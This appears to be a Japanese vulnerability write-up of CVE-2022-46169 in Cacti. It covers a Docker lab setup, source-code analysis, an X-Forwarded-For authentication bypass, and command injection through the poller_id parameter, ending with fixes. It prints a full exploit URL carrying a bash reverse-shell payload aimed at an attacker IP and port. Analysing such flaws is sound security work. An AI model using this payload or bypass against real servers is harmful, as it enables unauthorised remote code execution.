
Cactiは、PHP、MySQL/MariaDBで書かれたオープンソースの運用監視ツールであり、使いやすいインターフェースを提供します。
この脆弱性は2022年に発見され、1.2.23より前のすべてのバージョンに影響を与えました。このバグは、RCE(リモートコード実行)を達成するために、認証バイパスとコマンドインジェクションの連鎖を必要とします。
このCVE分析では、Docker上でCactiを実行し、VSCodeを使用してコード分析を行います。セットアップは非常に簡単です。まず、新しい環境を作成するために docker-compose.yaml ファイルが必要です。以下が docker-compose.yaml ファイルです:
version: '2'
services:
cacti:
image: "smcline06/cacti"
container_name: cacti
domainname: example.com
hostname: localhost
ports:
- "8088:80"
environment:
- DB_NAME=cacti_master
- DB_USER=cactiuser
- DB_PASS=cactipassword
- DB_HOST=db
- DB_PORT=3306
- DB_ROOT_PASS=rootpassword
- INITIALIZE_DB=1
- TZ=America/Los_Angeles
volumes:
- cacti-data:/cacti
- cacti-spine:/spine
- cacti-backups:/backups
links:
- db
db:
image: "mariadb:10.3"
container_name: cacti_db
domainname: example.com
hostname: db
ports:
- "3307:3306" # Change host port to 3307
command:
- mysqld
- --character-set-server=utf8mb4
- --collation-server=utf8mb4_unicode_ci
- --max_connections=200
- --max_heap_table_size=128M
- --max_allowed_packet=32M
- --tmp_table_size=128M
- --join_buffer_size=128M
- --innodb_buffer_pool_size=1G
- --innodb_doublewrite=ON
- --innodb_flush_log_at_timeout=3
- --innodb_read_io_threads=32
- --innodb_write_io_threads=16
- --innodb_buffer_pool_instances=9
- --innodb_file_format=Barracuda
- --innodb_large_prefix=1
- --innodb_io_capacity=5000
- --innodb_io_capacity_max=10000
environment:
- MYSQL_ROOT_PASSWORD=User@123
- TZ=America/Los_Angeles
volumes:
- cacti-db:/var/lib/mysql
volumes:
cacti-db:
cacti-data:
cacti-spine:
cacti-backups:
ファイルを作成したら、コマンドラインを開いてファイルのディレクトリに移動し、docker-compose up -d コマンドを実行して、ブラウザを開いて localhost:8088 にアクセスします。最初にログインページが表示されます:

デフォルトの認証情報は admin/admin です。セットアップのプロセスは以下の写真で示されます:

新しいパスワードを作成

インストールが完了すると、以下のようなコンソール画面が表示されます

それでは、脆弱性の分析を始めましょう。ご存知の通り、脆弱なファイルは remote_agent.php です。ブラウザでこのファイルにアクセスしてみます。

ファイルにアクセスする権限がないと表示されます。ファイルのソースコードを確認する時です。

remote_client_authorized() 関数を呼び出してチェックしています。この関数を詳しく見てみましょう。

まず、サーバーは get_client_addr() 関数を介して私たちのIPアドレスを取得し、次に gethostbyaddr() 関数を使用してIPをホスト名に変換します。その後、サーバーは poller テーブル内の利用可能なすべての pollers を取得し、各 poller's hostname をIPアドレスから変換されたあなたの hostname と比較します。ここにバイパスがあります。get_client_addr() の中身です:

サーバーが以下のヘッダーのいずれかを介してIPアドレスを取得していることがわかります:
- X-Forwarded-For
- X-Client-IP
- X-Real-IP
- X-ProxyUser-Ip
- CF-Connecting-IP
- True-Client-IP
- HTTP_X_FORWARDED
- HTTP_X_FORWARDED_FOR
- HTTP_X_CLUSTER_CLIENT_IP
- HTTP_FORWARDED_FOR
- HTTP_FORWARDED
- HTTP_CLIENT_IP
- REMOTE_ADDR
これにより、私たちはIPアドレスの値を完全に制御できます。この場合、X-Forwarded-For ヘッダーを使用して自分のIPを有効なIPに偽装し、認証をバイパスできます。X-Forwarded-For ヘッダーは、クライアントとサーバーの間にプロキシやロードバランサーが存在する場合に、元のIPアドレスを識別するためによく使用されます。しかし、これは攻撃者にとっての攻撃対象となります。Cactiをローカルで実行しているため、localhostに変換されるIPアドレス、つまり 127.0.0.1 を指定する必要があります。

これで良さそうですよね?しかし、これは始まりに過ぎません!!! コマンドインジェクションを成功させ、リモートコード実行を獲得するには、さらにコード分析が必要です。認証が完了した後、プログラムはこのコードを実行します。

サーバーは action パラメータを取得し、Switch/Case に入ります。action の値が pollerdata の場合、プログラムは poll_for_data() を呼び出します。この関数はコマンドインジェクションに対して脆弱であるため、注意深く分析します。

この関数は、ユーザーのリクエストパラメータ local_data_ids、host_id、poller_id から受け取った3つのパラメータ $local_data_ids、$host_id、$poller_id を受け取ります。パラメータを取得する関数の違いに注目してください。1つは get_filter_request_var で、もう1つは get_nfilter_request_var です。後者の関数には n がもう1つあります。これについては後で詳しく説明します。その後、プログラムは local_data_ids パラメータを指定したかどうかをチェックし、local_data_ids と host_id に基づいて poller_item テーブルからデータを取得するために各IDをループします。このクエリは $items に保存されます。

クエリが結果を返した場合、プログラムは $items 内の各 $item をループし、$item['action'] をSwitch値として使用する Switch/Case 文に入ります。多くのケースがありますが、調査すべきケースは POLLER_ACTION_SCRIPT_PHP です。これは action が2に等しいことを意味します。

action が 2 の場合、プログラムは exec() と非常に似ている proc_open() コマンドを実行し、完全に私たちが制御できる変数の1つとして $poller_id を受け取ります。より明確に理解するために、データベースにアクセスして poller_item テーブルの内容を取得し、どのようなものか確認しましょう。

テーブルから、action = 2 の poller を取得するために local_data_id をブルートフォースする必要があることがわかります。これは実際の攻撃シナリオで適用されます。デフォルトでは、Cactiには action = 2 の poller はありませんが、device のような新しいテンプレートを追加することでこれを実現できます。



新しい device を作成した後、もう一度 poller_item テーブルにアクセスすると、action = 2 の新しい poller があることがわかります。

それでは、プロセス全体をもう一度確認しましょう。このバグをエクスプロイトするには、まず X-Forwarded-For ヘッダーを追加して認証をバイパスする必要があります。次のステップは、action パラメータを polldata に提供し、host_id =1、local_data_ids を action =2 の対応する poller と等しくすることです。この場合 local_data_ids = 6 であり、そして最も重要なのは、poller_id パラメータがリモートコード実行を取得するためにコマンドをインジェクションする場所であることです。get_nfilter_request_var() の使用により、このパラメータは脆弱になります。get_filter_request_var が整数のみを受け付けるのに対し、get_nfilter_request_var は文字列を入力できます。さらに、このパラメータには入力検証がないため、完全なコマンドインジェクションにつながります。
Kali Linux サーバーを起動してリクエストを待ち受けましょう。

ペイロードを構築するために、サーバーを実行しているKaliのIPアドレスとポートが必要です。この場合、172.22.119.130 で、netcatはポート 4444 で実行されています。
それではBurpsuiteを開いてエクスプロイトを開始しましょう。ここで使用するペイロードは ;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261 です。このペイロードは ; を使用して以前のコマンドを終了し、新しいコマンドを実行します。残りはリバースシェルを取得するための単純なコマンドです。すべてを組み合わせると、完全なURLは次のようになります:localhost:8088/cacti/remote_agent.php?action=polldata&local_data_ids[]=6&host_id=1&poller_id=;bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.22.119.130%2F4444%200%3E%261


ドーン!!! バグのエクスプロイトに成功しました。プロセスと説明はかなり長いですが、概して、これはそれほど複雑な脆弱性ではありません。
この脆弱性の根本的な原因は、poller_id パラメータに get_nfilter_request_var() 関数を使用していることです。これを get_filter_request_var() に変更して、整数のみを受け付けるようにすることができます。

cacti_escapeshellarg() 関数を使用して poller_id の値をサニタイズすることで、別のセキュリティ層を追加できます。これらの対策により、poller_id が後続のステップで使用される前に、有効な入力のみが渡されることが保証されます。

これで分析は終了です。何か意味のあることを学んでいただければ幸いです。ご覧のとおり、脆弱性はしばしばユーザーの入力に発生します。したがって、サーバーを保護するために適切な入力検証を適用することが非常に重要です。リモートコード実行は非常に深刻ですが、それでも防ぐ方法はあります!!! ハッピーハッキング!
https://viblo.asia/p/phan-tich-lo-hong-unauthenticated-command-injection-cve-2022-46169-trong-phan-mem-cacti-MkNLrOK8VgA https://www.vicarius.io/vsociety/posts/unauthenticated-rce-in-cacti-cve-2022-46169